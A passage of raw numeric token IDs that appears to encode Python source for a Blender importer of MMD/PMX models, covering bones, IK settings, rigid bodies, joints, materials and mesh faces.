1405,
29871,
29900,
29901,
13,
9651,
12380,
29918,
15933,
29918,
6370,
353,
18593,
29918,
29890,
2873,
29961,
3358,
29916,
29918,
15933,
29889,
638,
29918,
4965,
29961,
29900,
1822,
5182,
29962,
13,
9651,
565,
12380,
29918,
15933,
29918,
6370,
1275,
12380,
29918,
5182,
470,
12380,
29918,
15933,
29918,
6370,
29889,
3560,
1275,
12380,
29918,
5182,
29901,
13,
18884,
12380,
29918,
15933,
29918,
6370,
353,
12380,
29918,
5182,
29889,
3560,
13,
18884,
628,
282,
16838,
29918,
15933,
29889,
638,
29918,
4965,
29961,
29900,
29962,
13,
18884,
12183,
29889,
27392,
877,
334,
2329,
306,
29968,
6055,
310,
306,
29968,
289,
650,
313,
29995,
29879,
29897,
742,
3646,
29918,
15933,
29889,
978,
29897,
13,
9651,
338,
29918,
3084,
29918,
638,
353,
313,
638,
29918,
15933,
1275,
12380,
29918,
15933,
29918,
6370,
29897,
13,
9651,
565,
451,
338,
29918,
3084,
29918,
638,
29901,
13,
18884,
12380,
29918,
15933,
353,
12380,
29918,
15933,
29918,
6370,
13,
18884,
12183,
29889,
27392,
877,
334,
306,
29968,
289,
650,
313,
29995,
29879,
29897,
1059,
29901,
306,
29968,
3646,
313,
29995,
29879,
29897,
881,
367,
263,
2278,
310,
306,
29968,
1544,
29871,
29900,
313,
29995,
29879,
29897,
742,
13,
462,
18884,
3646,
29918,
15933,
29889,
978,
29892,
12380,
29918,
5182,
29889,
978,
29892,
12380,
29918,
15933,
29889,
978,
29897,
13,
4706,
565,
12380,
29918,
15933,
338,
6213,
29901,
13,
9651,
12183,
29889,
27392,
877,
334,
21403,
306,
29968,
289,
650,
313,
29995,
29879,
29897,
742,
3646,
29918,
15933,
29889,
978,
29897,
13,
9651,
736,
13,
13,
4706,
274,
353,
12380,
29918,
5182,
29889,
13646,
29879,
29889,
1482,
29898,
1853,
2433,
7698,
3580,
3352,
29918,
5659,
11375,
1495,
13,
4706,
274,
29889,
978,
353,
525,
29885,
3487,
29918,
638,
29918,
5182,
29918,
15752,
29915,
13,
4706,
274,
29889,
29885,
1082,
353,
5852,
13,
4706,
274,
29889,
13453,
29884,
663,
353,
29871,
29900,
13,
4706,
274,
29889,
5182,
353,
1583,
17255,
2817,
9930,
13,
4706,
274,
29889,
1491,
5182,
353,
12380,
29918,
15933,
29889,
978,
13,
13,
4706,
12380,
12075,
353,
1583,
17255,
8966,
29889,
3258,
29918,
638,
29918,
13646,
29898,
638,
29918,
15933,
29892,
3646,
29918,
15933,
29897,
13,
4706,
12380,
12075,
29889,
1524,
800,
353,
282,
16838,
29918,
15933,
29889,
7888,
3981,
13,
4706,
12380,
12075,
29889,
14153,
29918,
2798,
353,
7431,
29898,
3358,
29916,
29918,
15933,
29889,
638,
29918,
4965,
29897,
13,
4706,
12380,
12075,
29889,
29885,
1082,
353,
451,
338,
29918,
3084,
29918,
638,
13,
4706,
12380,
29918,
15933,
29889,
29885,
3487,
29918,
15933,
29889,
638,
29918,
5450,
362,
29918,
13646,
353,
282,
16838,
29918,
15933,
29889,
5450,
362,
21529,
13,
4706,
363,
474,
297,
282,
16838,
29918,
15933,
29889,
638,
29918,
4965,
29901,
13,
9651,
565,
474,
29889,
27525,
398,
19582,
338,
451,
6213,
29901,
13,
18884,
289,
650,
353,
18593,
29918,
29890,
2873,
29961,
29875,
29889,
5182,
29962,
13,
18884,
9212,
29892,
7472,
353,
1583,
29889,
13441,
23328,
24445,
9928,
793,
29898,
29875,
29889,
1195,
12539,
19582,
29892,
474,
29889,
27525,
398,
19582,
29892,
289,
650,
29889,
15933,
29889,
5344,
29918,
2997,
29897,
13,
13,
18884,
289,
650,
29889,
1509,
29918,
638,
29918,
13400,
29918,
29916,
353,
5852,
13,
18884,
289,
650,
29889,
1509,
29918,
638,
29918,
13400,
29918,
29891,
353,
5852,
13,
18884,
289,
650,
29889,
1509,
29918,
638,
29918,
13400,
29918,
29920,
353,
5852,
13,
18884,
289,
650,
29889,
638,
29918,
3317,
29918,
29916,
29892,
289,
650,
29889,
638,
29918,
3317,
29918,
29891,
29892,
289,
650,
29889,
638,
29918,
3317,
29918,
29920,
353,
7472,
13,
18884,
289,
650,
29889,
638,
29918,
1195,
29918,
29916,
29892,
289,
650,
29889,
638,
29918,
1195,
29918,
29891,
29892,
289,
650,
29889,
638,
29918,
1195,
29918,
29920,
353,
9212,
13,
13,
18884,
274,
353,
289,
650,
29889,
13646,
29879,
29889,
1482,
29898,
1853,
2433,
5265,
26349,
29918,
1672,
29911,
8098,
1495,
13,
18884,
274,
29889,
29885,
1082,
353,
451,
338,
29918,
3084,
29918,
638,
13,
18884,
274,
29889,
978,
353,
525,
29885,
3487,
29918,
638,
29918,
13400,
29918,
15752,
29915,
13,
18884,
274,
29889,
20348,
29918,
3493,
353,
525,
13152,
1660,
29915,
396,
399,
1955,
10249,
29914,
13152,
1660,
29914,
16652,
1964,
13,
18884,
274,
29889,
3317,
29918,
29916,
29892,
274,
29889,
3317,
29918,
29891,
29892,
274,
29889,
3317,
29918,
29920,
353,
7472,
13,
18884,
274,
29889,
1195,
29918,
29916,
29892,
274,
29889,
1195,
29918,
29891,
29892,
274,
29889,
1195,
29918,
29920,
353,
9212,
13,
18884,
274,
29889,
1509,
29918,
13400,
29918,
29916,
353,
289,
650,
29889,
638,
29918,
3317,
29918,
29916,
2804,
274,
29889,
3317,
29918,
29916,
470,
289,
650,
29889,
638,
29918,
1195,
29918,
29916,
2804,
274,
29889,
1195,
29918,
29916,
13,
18884,
274,
29889,
1509,
29918,
13400,
29918,
29891,
353,
289,
650,
29889,
638,
29918,
3317,
29918,
29891,
2804,
274,
29889,
3317,
29918,
29891,
470,
289,
650,
29889,
638,
29918,
1195,
29918,
29891,
2804,
274,
29889,
1195,
29918,
29891,
13,
18884,
274,
29889,
1509,
29918,
13400,
29918,
29920,
353,
289,
650,
29889,
638,
29918,
3317,
29918,
29920,
2804,
274,
29889,
3317,
29918,
29920,
470,
289,
650,
29889,
638,
29918,
1195,
29918,
29920,
2804,
274,
29889,
1195,
29918,
29920,
13,
13,
1678,
822,
4770,
5215,
29933,
2873,
29898,
1311,
1125,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
13,
4706,
289,
650,
1170,
3562,
29892,
4266,
29911,
666,
29933,
2873,
353,
1583,
17255,
3258,
6103,
29933,
2873,
29898,
1311,
17255,
2817,
9930,
29892,
282,
16838,
3195,
29889,
29890,
2873,
29897,
13,
4706,
18593,
29918,
29890,
2873,
353,
1583,
17255,
6605,
29925,
852,
29933,
2873,
2059,
29933,
650,
3220,
29898,
1311,
17255,
2817,
9930,
29889,
4220,
29889,
29890,
2873,
29892,
289,
650,
1170,
3562,
29897,
13,
4706,
1583,
17255,
15933,
3562,
353,
18593,
29918,
29890,
2873,
13,
4706,
363,
474,
29892,
282,
16838,
29918,
15933,
297,
12705,
29898,
15172,
29898,
3358,
29916,
3195,
29889,
29890,
2873,
511,
1820,
29922,
2892,
921,
29901,
921,
29961,
29896,
1822,
9067,
29918,
2098,
1125,
13,
9651,
289,
29918,
15933,
353,
18593,
29918,
29890,
2873,
29961,
29875,
29962,
13,
9651,
286,
3487,
29918,
15933,
353,
289,
29918,
15933,
29889,
29885,
3487,
29918,
15933,
13,
9651,
286,
3487,
29918,
15933,
29889,
978,
29918,
29926,
353,
289,
29918,
15933,
29889,
978,
396,
3358,
29916,
29918,
15933,
29889,
978,
13,
9651,
286,
3487,
29918,
15933,
29889,
978,
29918,
29872,
353,
282,
16838,
29918,
15933,
29889,
978,
29918,
29872,
13,
9651,
286,
3487,
29918,
15933,
29889,
275,
29918,
1285,
1245,
519,
353,
282,
16838,
29918,
15933,
29889,
275,
1323,
1245,
519,
13,
9651,
286,
3487,
29918,
15933,
29889,
9067,
29918,
2098,
353,
282,
16838,
29918,
15933,
29889,
9067,
29918,
2098,
13,
9651,
286,
3487,
29918,
15933,
29889,
9067,
29918,
7045,
29918,
29881,
2926,
1199,
353,
282,
16838,
29918,
15933,
29889,
3286,
13555,
4819,
275,
13,
13,
9651,
565,
282,
16838,
29918,
15933,
29889,
4990,
5350,
1275,
448,
29896,
470,
282,
16838,
29918,
15933,
29889,
4990,
5350,
1275,
518,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
5387,
462,
13,
18884,
286,
3487,
29918,
15933,
29889,
275,
29918,
12632,
353,
5852,
13,
18884,
12183,
29889,
8382,
877,
15933,
1273,
29879,
338,
263,
6872,
289,
650,
742,
282,
16838,
29918,
15933,
29889,
978,
29897,
13,
9651,
25342,
289,
29918,
15933,
29889,
978,
297,
4266,
29911,
666,
29933,
2873,
29901,
13,
18884,
286,
3487,
29918,
15933,
29889,
275,
29918,
12632,
353,
5852,
13,
18884,
12183,
29889,
8382,
877,
15933,
1273,
29879,
338,
263,
4266,
6872,
289,
650,
29889,
17440,
5350,
29901,
1273,
29879,
742,
282,
16838,
29918,
15933,
29889,
978,
29892,
851,
29898,
3358,
29916,
29918,
15933,
29889,
4990,
5350,
876,
13,
9651,
25342,
451,
338,
8758,
29898,
3358,
29916,
29918,
15933,
29889,
4990,
5350,
29892,
938,
1125,
13,
18884,
12183,
29889,
8382,
877,
15933,
1273,
29879,
338,
773,
263,
4608,
12464,
742,
282,
16838,
29918,
15933,
29889,
978,
29897,
13,
9651,
1683,
29901,
13,
18884,
12183,
29889,
8382,
877,
15933,
1273,
29879,
338,
451,
773,
263,
4608,
12464,
322,
338,
451,
263,
6872,
289,
650,
29889,
17440,
5350,
29901,
1273,
29879,
742,
29871,
13,
462,
795,
282,
16838,
29918,
15933,
29889,
978,
29892,
851,
29898,
3358,
29916,
29918,
15933,
29889,
4990,
5350,
876,
13,
13,
9651,
289,
29918,
15933,
29889,
15933,
29889,
11458,
353,
451,
282,
16838,
29918,
15933,
29889,
12872,
396,
272,
286,
3487,
29918,
15933,
29889,
275,
29918,
12632,
13,
13,
9651,
565,
451,
282,
16838,
29918,
15933,
29889,
275,
21281,
17219,
29901,
13,
18884,
289,
29918,
15933,
29889,
908,
29918,
5450,
362,
353,
518,
5574,
29892,
5852,
29892,
5852,
29962,
13,
13,
9651,
565,
451,
282,
16838,
29918,
15933,
29889,
275,
29924,
586,
519,
29901,
13,
18884,
289,
29918,
15933,
29889,
908,
29918,
5479,
353,
518,
5574,
29892,
5852,
29892,
5852,
29962,
13,
13,
9651,
565,
282,
16838,
29918,
15933,
29889,
275,
23328,
29901,
13,
18884,
565,
282,
16838,
29918,
15933,
29889,
5182,
2804,
448,
29896,
29901,
13,
462,
1678,
1583,
17255,
7302,
29902,
29895,
29898,
29875,
29892,
282,
16838,
29918,
15933,
29892,
18593,
29918,
29890,
2873,
29897,
13,
13,
9651,
565,
282,
16838,
29918,
15933,
29889,
5349,
2528,
3245,
21281,
403,
470,
282,
16838,
29918,
15933,
29889,
5349,
2528,
3245,
6508,
29901,
13,
18884,
289,
650,
29918,
2248,
29892,
7112,
353,
282,
16838,
29918,
15933,
29889,
1202,
3245,
13372,
13,
18884,
286,
3487,
29918,
15933,
29889,
5349,
29918,
1202,
3245,
29918,
5450,
362,
353,
282,
16838,
29918,
15933,
29889,
5349,
2528,
3245,
21281,
403,
13,
18884,
286,
3487,
29918,
15933,
29889,
5349,
29918,
1202,
3245,
29918,
5479,
353,
282,
16838,
29918,
15933,
29889,
5349,
2528,
3245,
6508,
13,
18884,
286,
3487,
29918,
15933,
29889,
1202,
3245,
29918,
9067,
29918,
13453,
29884,
663,
353,
7112,
13,
18884,
565,
29871,
29900,
5277,
289,
650,
29918,
2248,
529,
7431,
29898,
4220,
29918,
29890,
2873,
1125,
13,
462,
1678,
286,
3487,
29918,
15933,
29889,
1202,
3245,
29918,
9067,
29918,
15933,
353,
18593,
29918,
29890,
2873,
29961,
15933,
29918,
2248,
1822,
978,
13,
13,
9651,
565,
282,
16838,
29918,
15933,
29889,
2997,
7967,
16065,
338,
451,
6213,
29901,
13,
18884,
286,
3487,
29918,
15933,
29889,
17590,
29918,
2997,
29918,
1165,
267,
353,
5852,
13,
18884,
286,
3487,
29918,
15933,
29889,
2997,
29918,
8990,
29918,
29916,
353,
282,
16838,
29918,
15933,
29889,
2997,
7967,
16065,
29889,
29916,
29918,
8990,
13,
18884,
286,
3487,
29918,
15933,
29889,
2997,
29918,
8990,
29918,
29920,
353,
282,
16838,
29918,
15933,
29889,
2997,
7967,
16065,
29889,
29920,
29918,
8990,
13,
13,
9651,
565,
282,
16838,
29918,
15933,
29889,
8990,
338,
451,
6213,
29901,
13,
18884,
286,
3487,
29918,
15933,
29889,
17590,
29918,
20227,
29918,
8990,
353,
5852,
13,
18884,
286,
3487,
29918,
15933,
29889,
20227,
29918,
8990,
353,
282,
16838,
29918,
15933,
29889,
8990,
13,
13,
18884,
565,
451,
1583,
17255,
7302,
29918,
15933,
29918,
20227,
29918,
8990,
322,
286,
3487,
29918,
15933,
29889,
275,
29918,
12632,
29901,
13,
462,
1678,
289,
29918,
15933,
29889,
908,
29918,
5450,
362,
353,
518,
5574,
29892,
7700,
29892,
5852,
29962,
13,
462,
1678,
289,
29918,
15933,
29889,
908,
29918,
5479,
353,
518,
5574,
29892,
5852,
29892,
5852,
29962,
13,
462,
1678,
289,
29918,
15933,
29889,
908,
29918,
7052,
353,
518,
5574,
29892,
5852,
29892,
5852,
29962,
13,
13,
1678,
822,
4770,
5215,
29934,
335,
4841,
29898,
1311,
1125,
13,
4706,
1369,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
4706,
1583,
17255,
8966,
333,
3562,
353,
6571,
13,
4706,
12912,
333,
29918,
10109,
353,
1583,
17255,
8966,
29889,
3258,
29934,
335,
333,
8434,
11426,
29898,
2435,
29898,
1311,
17255,
4299,
29889,
8966,
4841,
876,
13,
4706,
363,
474,
29892,
313,
8966,
333,
29892,
12912,
333,
29918,
5415,
29897,
297,
26985,
29898,
7554,
29898,
1311,
17255,
4299,
29889,
8966,
4841,
29892,
12912,
333,
29918,
10109,
22164,
13,
9651,
1180,
353,
16510,
29898,
8966,
333,
29889,
5479,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
9651,
5731,
353,
16510,
29898,
8966,
333,
29889,
5450,
362,
467,
29916,
1537,
334,
448,
29896,
13,
9651,
2159,
353,
16510,
29898,
8966,
333,
29889,
2311,
467,
29916,
1537,
565,
12912,
333,
29889,
1853,
1275,
282,
16838,
29889,
29934,
335,
333,
29889,
11116,
29918,
8456,
29990,
1683,
16510,
29898,
8966,
333,
29889,
2311,
29897,
13,
13,
9651,
5446,
353,
1583,
17255,
8966,
29889,
3258,
29934,
335,
333,
8434,
29898,
13,
18884,
5446,
353,
12912,
333,
29918,
5415,
29892,
13,
18884,
1024,
353,
12912,
333,
29889,
978,
29892,
13,
18884,
1024,
29918,
29872,
353,
12912,
333,
29889,
978,
29918,
29872,
29892,
13,
18884,
8267,
29918,
1853,
353,
12912,
333,
29889,
1853,
29892,
13,
18884,
19753,
29918,
1853,
353,
12912,
333,
29889,
8513,
29892,
13,
18884,
4423,
353,
1180,
29892,
13,
18884,
13733,
353,
5731,
29892,
13,
18884,
2159,
353,
2159,
334,
1583,
17255,
7052,
29892,
13,
18884,
22369,
29918,
2972,
29918,
4537,
353,
12912,
333,
29889,
22017,
2459,
29918,
2972,
29918,
4537,
29892,
13,
18884,
22369,
29918,
2972,
29918,
13168,
353,
518,
8966,
333,
29889,
22017,
2459,
29918,
2972,
29918,
13168,
669,
313,
29896,
9314,
29875,
29897,
1275,
29871,
29900,
363,
474,
297,
3464,
29898,
29896,
29953,
29897,
1402,
13,
18884,
5075,
29918,
5415,
353,
1583,
17255,
2817,
9930,
29892,
13,
18884,
4158,
29922,
8966,
333,
29889,
25379,
29892,
13,
18884,
1424,
2463,
353,
12912,
333,
29889,
1341,
2463,
29892,
13,
18884,
6401,
29918,
29881,
1160,
292,
353,
12912,
333,
29889,
5450,
362,
29918,
8606,
29884,
362,
29892,
13,
18884,
5608,
29918,
29881,
1160,
292,
353,
12912,
333,
29889,
955,
25245,
29918,
8606,
29884,
362,
29892,
13,
18884,
289,
21543,
353,
12912,
333,
29889,
29890,
21543,
29892,
13,
18884,
289,
650,
353,
6213,
565,
12912,
333,
29889,
15933,
1275,
448,
29896,
470,
12912,
333,
29889,
15933,
338,
6213,
1683,
1583,
17255,
15933,
3562,
29961,
8966,
333,
29889,
15933,
1822,
978,
29892,
13,
18884,
1723,
13,
9651,
5446,
29889,
11458,
353,
5852,
13,
9651,
25249,
2061,
29889,
842,
29918,
2248,
29898,
5415,
29892,
474,
29897,
13,
9651,
1583,
17255,
8966,
333,
3562,
29961,
29875,
29962,
353,
5446,
13,
13,
4706,
12183,
29889,
8382,
877,
12881,
3276,
28348,
12912,
333,
17873,
297,
1273,
29888,
6923,
29889,
742,
931,
29889,
2230,
580,
448,
1369,
29918,
2230,
29897,
13,
13,
1678,
822,
4770,
5215,
29967,
2461,
29879,
29898,
1311,
1125,
13,
4706,
1369,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
4706,
14002,
29918,
10109,
353,
1583,
17255,
8966,
29889,
3258,
29967,
2461,
11426,
29898,
2435,
29898,
1311,
17255,
4299,
29889,
2212,
9466,
876,
13,
4706,
363,
474,
29892,
313,
12090,
29892,
14002,
29918,
5415,
29897,
297,
26985,
29898,
7554,
29898,
1311,
17255,
4299,
29889,
2212,
9466,
29892,
14002,
29918,
10109,
22164,
13,
9651,
1180,
353,
16510,
29898,
12090,
29889,
5479,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
9651,
5731,
353,
16510,
29898,
12090,
29889,
5450,
362,
467,
29916,
1537,
334,
448,
29896,
13,
13,
9651,
5446,
353,
1583,
17255,
8966,
29889,
3258,
29967,
2461,
29898,
13,
18884,
5446,
353,
14002,
29918,
5415,
29892,
13,
18884,
1024,
353,
14002,
29889,
978,
29892,
13,
18884,
1024,
29918,
29872,
353,
14002,
29889,
978,
29918,
29872,
29892,
13,
18884,
4423,
353,
1180,
29892,
13,
18884,
13733,
353,
5731,
29892,
13,
18884,
12912,
333,
29918,
29874,
353,
1583,
17255,
8966,
333,
3562,
29889,
657,
29898,
12090,
29889,
4351,
29918,
8966,
333,
29892,
6213,
511,
13,
18884,
12912,
333,
29918,
29890,
353,
1583,
17255,
8966,
333,
3562,
29889,
657,
29898,
12090,
29889,
7854,
29918,
8966,
333,
29892,
6213,
511,
13,
18884,
7472,
29918,
5479,
353,
16510,
29898,
12090,
29889,
27525,
398,
29918,
5479,
467,
29916,
1537,
334,
1583,
17255,
7052,
29892,
13,
18884,
9212,
29918,
5479,
353,
16510,
29898,
12090,
29889,
1195,
12539,
29918,
5479,
467,
29916,
1537,
334,
1583,
17255,
7052,
29892,
13,
18884,
7472,
29918,
5450,
362,
353,
16510,
29898,
12090,
29889,
1195,
12539,
29918,
5450,
362,
467,
29916,
1537,
334,
448,
29896,
29892,
13,
18884,
9212,
29918,
5450,
362,
353,
16510,
29898,
12090,
29889,
27525,
398,
29918,
5450,
362,
467,
29916,
1537,
334,
448,
29896,
29892,
13,
18884,
6709,
29918,
10660,
353,
16510,
29898,
12090,
29889,
4278,
29918,
23362,
467,
29916,
1537,
29892,
13,
18884,
6709,
29918,
6825,
353,
16510,
29898,
12090,
29889,
4278,
29918,
5450,
362,
29918,
23362,
467,
29916,
1537,
29892,
13,
18884,
1723,
13,
9651,
5446,
29889,
11458,
353,
5852,
13,
9651,
25249,
2061,
29889,
842,
29918,
2248,
29898,
5415,
29892,
474,
29897,
13,
13,
4706,
12183,
29889,
8382,
877,
12881,
3276,
28348,
14002,
29879,
297,
1273,
29888,
6923,
29889,
742,
931,
29889,
2230,
580,
448,
1369,
29918,
2230,
29897,
13,
13,
1678,
822,
4770,
5215,
24095,
29879,
29898,
1311,
1125,
13,
4706,
1583,
17255,
5215,
1626,
1973,
580,
13,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
13,
4706,
1583,
17255,
15388,
23360,
3981,
3562,
353,
5159,
13,
4706,
363,
474,
297,
282,
16838,
3195,
29889,
15388,
29879,
29901,
13,
9651,
1775,
353,
289,
2272,
29889,
1272,
29889,
15388,
29879,
29889,
1482,
29898,
978,
29922,
29875,
29889,
978,
29897,
13,
9651,
1583,
17255,
15388,
3562,
29889,
4397,
29898,
2922,
29897,
13,
9651,
286,
3487,
29918,
2922,
353,
1775,
29889,
29885,
3487,
29918,
15388,
13,
9651,
286,
3487,
29918,
2922,
29889,
978,
29918,
29926,
353,
474,
29889,
978,
13,
9651,
286,
3487,
29918,
2922,
29889,
978,
29918,
29872,
353,
474,
29889,
978,
29918,
29872,
13,
9651,
286,
3487,
29918,
2922,
29889,
1117,
993,
29918,
2780,
353,
474,
29889,
1117,
993,
13,
9651,
286,
3487,
29918,
2922,
29889,
12765,
1509,
29918,
2780,
353,
474,
29889,
12765,
1509,
29961,
29900,
29901,
29941,
29962,
13,
9651,
286,
3487,
29918,
2922,
29889,
2312,
353,
474,
29889,
12765,
1509,
29961,
29941,
29962,
13,
9651,
286,
3487,
29918,
2922,
29889,
6550,
1070,
29918,
2780,
353,
474,
29889,
6550,
1070,
13,
9651,
286,
3487,
29918,
2922,
29889,
845,
262,
3335,
353,
474,
29889,
845,
262,
3335,
13,
9651,
286,
3487,
29918,
2922,
29889,
275,
29918,
8896,
29918,
29879,
2618,
353,
474,
29889,
275,
29918,
8896,
29918,
29879,
2618,
13,
9651,
286,
3487,
29918,
2922,
29889,
17590,
29918,
8865,
29918,
17505,
353,
474,
29889,
17590,
29918,
8865,
29918,
17505,
13,
9651,
286,
3487,
29918,
2922,
29889,
17590,
29918,
1311,
29918,
17505,
29918,
1958,
353,
474,
29889,
17590,
29918,
1311,
29918,
17505,
29918,
1958,
13,
9651,
286,
3487,
29918,
2922,
29889,
17590,
29918,
1311,
29918,
17505,
353,
474,
29889,
17590,
29918,
1311,
29918,
17505,
13,
9651,
286,
3487,
29918,
2922,
29889,
17590,
29918,
517,
265,
29918,
12864,
353,
474,
29889,
17590,
29918,
517,
265,
29918,
12864,
13,
9651,
286,
3487,
29918,
2922,
29889,
12864,
29918,
2780,
353,
474,
29889,
12864,
29918,
2780,
13,
9651,
286,
3487,
29918,
2922,
29889,
12864,
29918,
7915,
353,
474,
29889,
12864,
29918,
2311,
13,
9651,
286,
3487,
29918,
2922,
29889,
29879,
9085,
29918,
726,
545,
29918,
1853,
353,
851,
29898,
29875,
29889,
29879,
9085,
29918,
726,
545,
29918,
8513,
29897,
13,
9651,
565,
474,
29889,
275,
29918,
12366,
29918,
517,
265,
29918,
726,
545,
29901,
13,
18884,
286,
3487,
29918,
2922,
29889,
275,
29918,
12366,
29918,
517,
265,
29918,
726,
545,
353,
5852,
13,
18884,
286,
3487,
29918,
2922,
29889,
12366,
29918,
517,
265,
29918,
726,
545,
353,
474,
29889,
517,
265,
29918,
726,
545,
13,
9651,
1683,
29901,
13,
18884,
286,
3487,
29918,
2922,
29889,
275,
29918,
12366,
29918,
517,
265,
29918,
726,
545,
353,
7700,
13,
18884,
565,
474,
29889,
517,
265,
29918,
726,
545,
6736,
29871,
29900,
29901,
13,
462,
1678,
286,
3487,
29918,
2922,
29889,
517,
265,
29918,
726,
545,
353,
1583,
17255,
726,
545,
3562,
29961,
29875,
29889,
517,
265,
29918,
726,
545,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
286,
3487,
29918,
2922,
29889,
517,
265,
29918,
726,
545,
353,
6629,
13,
9651,
286,
3487,
29918,
2922,
29889,
9342,
353,
474,
29889,
9342,
13,
13,
9651,
1583,
17255,
15388,
23360,
3981,
3562,
29889,
4397,
29898,
524,
29898,
29875,
29889,
369,
4776,
29918,
2798,
29914,
29941,
876,
13,
9651,
1583,
17255,
4467,
29882,
9930,
29889,
1272,
29889,
15388,
29879,
29889,
4397,
29898,
2922,
29897,
13,
9651,
7876,
9782,
353,
383,
29876,
24095,
29898,
2922,
29897,
13,
9651,
565,
474,
29889,
726,
545,
2804,
448,
29896,
29901,
13,
18884,
18459,
29918,
2536,
327,
353,
7876,
9782,
29889,
3258,
29918,
726,
545,
29898,
1311,
17255,
726,
545,
3562,
29961,
29875,
29889,
726,
545,
2314,
13,
18884,
18459,
29918,
2536,
327,
29889,
726,
545,
29889,
1509,
29918,
29885,
666,
1958,
353,
1583,
17255,
1509,
29918,
29885,
666,
1958,
13,
18884,
1583,
17255,
3027,
3562,
29961,
2435,
29898,
1311,
17255,
15388,
3562,
6817,
29896,
29962,
353,
18459,
29918,
2536,
327,
29889,
726,
545,
29889,
3027,
13,
9651,
565,
474,
29889,
29879,
9085,
29918,
726,
545,
29918,
8513,
1275,
29871,
29906,
29901,
13,
18884,
5253,
353,
1583,
17255,
1028,
29874,
29918,
2204,
355,
29918,
19790,
13,
9651,
1683,
29901,
13,
18884,
5253,
353,
1583,
17255,
29879,
561,
29918,
2204,
355,
29918,
19790,
13,
9651,
565,
474,
29889,
29879,
9085,
29918,
726,
545,
2804,
448,
29896,
322,
5253,
2804,
29871,
29900,
29889,
29900,
29901,
13,
18884,
18459,
29918,
2536,
327,
353,
7876,
9782,
29889,
3258,
29918,
29879,
9085,
29918,
726,
545,
29898,
1311,
17255,
726,
545,
3562,
29961,
29875,
29889,
29879,
9085,
29918,
726,
545,
2314,
13,
18884,
18459,
29918,
2536,
327,
29889,
12765,
1509,
29918,
2780,
29918,
19790,
353,
5253,
13,
18884,
565,
474,
29889,
29879,
9085,
29918,
726,
545,
29918,
8513,
1275,
29871,
29941,
322,
679,
5552,
29898,
3358,
29916,
3195,
29889,
6672,
29892,
525,
1202,
3245,
29918,
4090,
29879,
742,
29871,
29900,
1125,
13,
462,
1678,
18459,
29918,
2536,
327,
29889,
4090,
29918,
13148,
353,
525,
29965,
29963,
29896,
29915,
396,
363,
3323,
21898,
13,
462,
1678,
286,
3487,
29918,
2922,
29889,
29879,
9085,
29918,
726,
545,
29918,
1853,
353,
286,
3487,
29918,
2922,
29889,
29879,
9085,
29918,
726,
545,
29918,
1853,
396,
337,
29899,
5504,
13,
13,
1678,
822,
4770,
5215,
29943,
3302,
29898,
1311,
1125,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
4706,
27716,
353,
1583,
17255,
4467,
29882,
9930,
29889,
1272,
13,
4706,
12688,
29918,
1958,
353,
1583,
17255,
369,
4776,
29918,
1958,
13,
13,
4706,
2425,
29918,
513,
1575,
29918,
12683,
353,
18761,
29898,
29875,
363,
285,
297,
282,
16838,
3195,
29889,
8726,
363,
474,
297,
285,
29897,
13,
4706,
2425,
29918,
513,
1575,
353,
18761,
29898,
369,
4776,
29918,
1958,
29961,
29875,
3816,
29896,
29962,
363,
474,
297,
2425,
29918,
513,
1575,
29918,
12683,
29897,
565,
12688,
29918,
1958,
1683,
2425,
29918,
513,
1575,
29918,
12683,
13,
4706,
5518,
29918,
513,
1575,
353,
18761,
29898,
29875,
363,
474,
29892,
274,
297,
26985,
29898,
1311,
17255,
15388,
23360,
3981,
3562,
29897,
363,
921,
297,
3464,
29898,
29883,
876,
13,
13,
4706,
27716,
29889,
417,
3554,
29889,
1202,
29898,
2435,
29898,
3358,
29916,
3195,
29889,
8726,
11877,
29941,
29897,
13,
4706,
27716,
29889,
417,
3554,
29889,
13150,
29918,
842,
877,
369,
4776,
29918,
2248,
742,
2425,
29918,
513,
1575,
29897,
13,
13,
4706,
27716,
29889,
3733,
4790,
787,
29889,
1202,
29898,
2435,
29898,
3358,
29916,
3195,
29889,
8726,
876,
13,
4706,
27716,
29889,
3733,
4790,
787,
29889,
13150,
29918,
842,
877,
7888,
29918,
2962,
742,
18761,
29898,
3881,
29898,
29900,
29892,
7431,
29898,
4467,
29882,
29889,
417,
3554,
511,
29871,
29941,
4961,
13,
4706,
27716,
29889,
3733,
4790,
787,
29889,
13150,
29918,
842,
877,
7888,
29918,
7827,
742,
313,
29941,
29892,
11877,
2435,
29898,
3358,
29916,
3195,
29889,
8726,
876,
13,
4706,
27716,
29889,
3733,
4790,
787,
29889,
13150,
29918,
842,
877,
1509,
29918,
3844,
6983,
742,
313,
5574,
29892,
11877,
2435,
29898,
3358,
29916,
3195,
29889,
8726,
876,
13,
4706,
27716,
29889,
3733,
4790,
787,
29889,
13150,
29918,
842,
877,
15388,
29918,
2248,
742,
5518,
29918,
513,
1575,
29897,
13,
13,
4706,
318,
29894,
29918,
726,
1973,
29892,
318,
29894,
29918,
29277,
353,
679,
5552,
29898,
4467,
29882,
29892,
525,
4090,
29918,
726,
1973,
742,
27716,
29889,
4090,
29918,
29277,
511,
27716,
29889,
4090,
29918,
29277,
13,
4706,
318,
29894,
29918,
4776,
353,
318,
29894,
29918,
726,
1973,
29889,
1482,
580,
13,
4706,
318,
29894,
29918,
13148,
353,
318,
29894,
29918,
29277,
29961,
4090,
29918,
4776,
29889,
978,
29962,
13,
4706,
318,
29894,
29918,
2371,
353,
426,
1403,
29901,
1311,
29889,
29888,
3466,
29965,
29963,
29918,
29963,
29898,
29894,
29889,
4090,
29897,
363,
3516,
29892,
325,
297,
26985,
29898,
3358,
29916,
3195,
29889,
1765,
1575,
2915,
13,
4706,
318,
29894,
29918,
13148,
29889,
1272,
29889,
13150,
29918,
842,
877,
4090,
742,
18761,
29898,
29894,
363,
474,
297,
2425,
29918,
513,
1575,
29918,
12683,
363,
325,
297,
318,
29894,
29918,
2371,
29961,
29875,
12622,
13,
13,
4706,
565,
318,
29894,
29918,
726,
1973,
338,
451,
318,
29894,
29918,
29277,
29901,
13,
9651,
363,
289,
29888,
29892,
3737,
297,
14319,
29898,
4090,
29918,
4776,
29889,
1272,
29892,
5518,
29918,
513,
1575,
